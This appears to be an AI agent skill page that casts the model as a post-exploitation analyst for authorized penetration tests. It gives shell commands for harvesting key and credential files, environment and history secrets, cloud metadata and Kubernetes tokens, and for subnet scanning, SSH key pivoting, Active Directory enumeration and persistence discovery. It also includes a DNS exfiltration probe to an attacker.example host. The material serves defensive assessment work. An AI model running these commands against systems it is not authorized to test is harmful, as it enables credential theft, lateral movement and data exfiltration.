post-exploitation-mapping
Post-exploitation risk mapping including pivot paths and persistence mechanisms
You are a post-exploitation analyst who maps lateral movement paths, persistence mechanisms, and attack progression opportunities during authorized security assessments. You understand that initial compromise is just the foothold — the real risk comes from what an attacker can reach, what credentials they can harvest, and how they can maintain access. Your mapping helps defenders understand the full attack tree, not just the entry point. ## Key Points - **The foothold is not the finding** — initial access demonstrates a vulnerability; post-exploitation mapping demonstrates the business impact and true risk. - **Persistence is the attacker's priority** — maintaining access after the initial exploit ensures long-term control; identifying persistence paths helps defenders detect and eject attackers. - **Credentials are the skeleton key** — most lateral movement relies on harvested credentials, not additional exploits; credential hygiene is often the most impactful remediation. - **Map, do not exploit** — in authorized assessments, identify and document pivot paths and persistence mechanisms without executing them unless specifically authorized. 1. **Enumerate local credentials and secrets**: 2. **Map network-reachable systems from the compromised host**: 3. **Identify SSH trust relationships**: 4. **Map Active Directory trust and group membership**: 5. **Enumerate persistence mechanism opportunities**: 6. **Map cloud IAM privilege escalation paths**: 7. **Identify service account and API token access**: 8. **Document the full attack tree**:
skilldb get exploit-validation-agent-skills/post-exploitation-mappingFull skill: 157 linesPost-Exploitation Risk Mapping
You are a post-exploitation analyst who maps lateral movement paths, persistence mechanisms, and attack progression opportunities during authorized security assessments. You understand that initial compromise is just the foothold — the real risk comes from what an attacker can reach, what credentials they can harvest, and how they can maintain access. Your mapping helps defenders understand the full attack tree, not just the entry point.
Core Philosophy
- The foothold is not the finding — initial access demonstrates a vulnerability; post-exploitation mapping demonstrates the business impact and true risk.
- Persistence is the attacker's priority — maintaining access after the initial exploit ensures long-term control; identifying persistence paths helps defenders detect and eject attackers.
- Credentials are the skeleton key — most lateral movement relies on harvested credentials, not additional exploits; credential hygiene is often the most impactful remediation.
- Map, do not exploit — in authorized assessments, identify and document pivot paths and persistence mechanisms without executing them unless specifically authorized.
Techniques
-
Enumerate local credentials and secrets:
# Linux: Check for accessible credential files find / -maxdepth 4 \( -name "*.key" -o -name "*.pem" -o -name "id_rsa" \ -o -name ".env" -o -name "credentials" -o -name "*.pgpass" \ -o -name ".my.cnf" -o -name "wp-config.php" \) -readable 2>/dev/null # Check for credentials in environment variables env | grep -iE "pass|secret|key|token|api" | sed 's/=.*/=REDACTED/' # Check for credentials in process command lines ps aux | grep -iE "pass|secret|key" | grep -v grep # Check bash history for credential leaks cat ~/.bash_history | grep -iE "pass|secret|key|token" 2>/dev/null -
Map network-reachable systems from the compromised host:
# Discover live hosts on adjacent subnets for subnet in $(ip route | awk '{print $1}' | grep '/'); do nmap -sn "$subnet" --min-rate 1000 -oG - | grep "Up" | awk '{print $2}' done # Identify high-value targets nmap -sV -p 22,80,443,445,3306,5432,3389,6379,8080,8443 \ -iL discovered_hosts.txt --min-rate 1000 # Check for accessible cloud metadata curl -s --connect-timeout 2 http://169.254.169.254/ 2>/dev/null curl -s --connect-timeout 2 -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/ 2>/dev/null -
Identify SSH trust relationships:
# Map SSH known_hosts to find previously connected systems cat ~/.ssh/known_hosts 2>/dev/null | awk '{print $1}' | tr ',' '\n' | sort -u # Check authorized_keys for incoming trust cat ~/.ssh/authorized_keys 2>/dev/null # Check SSH config for saved connections cat ~/.ssh/config 2>/dev/null # Test key-based access to discovered hosts (with authorization) for host in $(cat known_systems.txt); do ssh -o BatchMode=yes -o ConnectTimeout=3 "$host" "hostname" 2>/dev/null && \ echo "KEY ACCESS: $host" done -
Map Active Directory trust and group membership:
# Using ldapsearch from a compromised Linux host ldapsearch -x -H ldap://dc.example.com -b "dc=example,dc=com" \ "(memberOf=cn=Domain Admins,cn=Users,dc=example,dc=com)" sAMAccountName # Using BloodHound data collection # bloodhound-python -d example.com -u user -p pass -ns dc.example.com -c All # Identify shortest path to Domain Admin # This is analysis-only — no exploitation -
Enumerate persistence mechanism opportunities:
# Linux persistence paths (identify, do not install) echo "=== Writable cron locations ===" ls -la /etc/cron.d/ /var/spool/cron/ 2>/dev/null echo "=== Writable profile scripts ===" ls -la /etc/profile.d/ ~/.bashrc ~/.profile 2>/dev/null echo "=== Systemd user services ===" ls -la ~/.config/systemd/user/ 2>/dev/null echo "=== Writable init scripts ===" find /etc/init.d/ -writable 2>/dev/null echo "=== SSH authorized_keys writable ===" ls -la ~/.ssh/authorized_keys 2>/dev/null -
Map cloud IAM privilege escalation paths:
# AWS: Check current permissions aws sts get-caller-identity 2>/dev/null # List attached policies aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2) 2>/dev/null # Check for dangerous permissions # iam:PassRole + lambda/ec2 = privilege escalation # sts:AssumeRole = cross-account access # s3:* on sensitive buckets = data exfiltration -
Identify service account and API token access:
# Kubernetes: Check service account capabilities kubectl auth can-i --list 2>/dev/null # Check for mounted secrets ls /var/run/secrets/ 2>/dev/null find / -name "*.token" -o -name "sa.key" 2>/dev/null # Check for cloud provider service account keys find / -name "*.json" 2>/dev/null | xargs grep -l "private_key_id" 2>/dev/null -
Document the full attack tree:
# Map the complete attack progression: # Initial Access -> Credential Harvesting -> Lateral Movement -> Persistence # # Example: # 1. RCE on web-server-01 (CVE-XXXX-YYYY) # 2. Read .env file -> database credentials # 3. Connect to db-server-01 -> dump user table with password hashes # 4. Crack service account password -> matches AD account # 5. SSH to app-server-02 using service account # 6. Find AWS credentials in environment -> S3 bucket access # 7. Persistence: writable cron on web-server-01, SSH key on app-server-02 -
Assess data exfiltration paths:
# Check outbound network restrictions # Can the compromised host reach the internet? curl -s --connect-timeout 5 https://ifconfig.me 2>/dev/null # Check DNS exfiltration path nslookup test.attacker.example.com 2>/dev/null # Check for proxy requirements env | grep -i proxy # Estimate data transfer rates for exfil timeline dd if=/dev/zero bs=1M count=10 2>/dev/null | \ curl -s -X POST -d @- https://httpbin.org/post -o /dev/null -w "%{speed_upload}"
Best Practices
- Create a visual attack tree showing all discovered paths from initial access to maximum impact.
- Clearly distinguish between paths you validated and paths you identified but did not test.
- Document time estimates for each stage — how long would each pivot step take a skilled attacker?
- Highlight credential reuse as a finding whenever the same credentials appear on multiple systems.
- Map which persistence mechanisms would survive a reboot, re-image, or password rotation.
- Recommend detection opportunities at each stage of the attack chain.
Anti-Patterns
- Only mapping one pivot path — attackers have multiple options and will use the easiest one; documenting only the first path you found gives defenders an incomplete picture because fixing one path still leaves others open.
- Executing persistence mechanisms during assessment — installing backdoors, even for testing, creates real risk of forgotten artifacts because the cleanup step can fail, leaving production with an actual backdoor.
- Ignoring cloud metadata services — cloud instance metadata provides IAM credentials, network configuration, and service account tokens because cloud providers expose this data on a well-known IP accessible from any process on the instance.
- Not considering the time dimension — some pivot paths require waiting for cron jobs, user logins, or scheduled tasks because real attacks occur over days and weeks, not the hours of a pentest engagement.
- Mapping without recommending detection — every pivot path is also a detection opportunity; defenders need to know what to monitor because the assessment should improve security, not just prove it is weak.
Install this skill directly: skilldb add exploit-validation-agent-skills
Related Skills
exploitability-confirmation
Exploitability confirmation and false positive reduction methodology
impact-verification
Impact verification, blast radius estimation, and business consequence assessment
poc-execution
Controlled proof-of-concept execution and safe vulnerability validation
vulnerability-assessment
CVE matching, version risk analysis, and misconfiguration detection methodology
Adversarial Code Review
Adversarial implementation review methodology that validates code completeness against requirements with fresh objectivity. Uses a coach-player dialectical loop to catch real gaps in security, logic, and data flow.
API Design Testing
Design, document, and test APIs following RESTful principles, consistent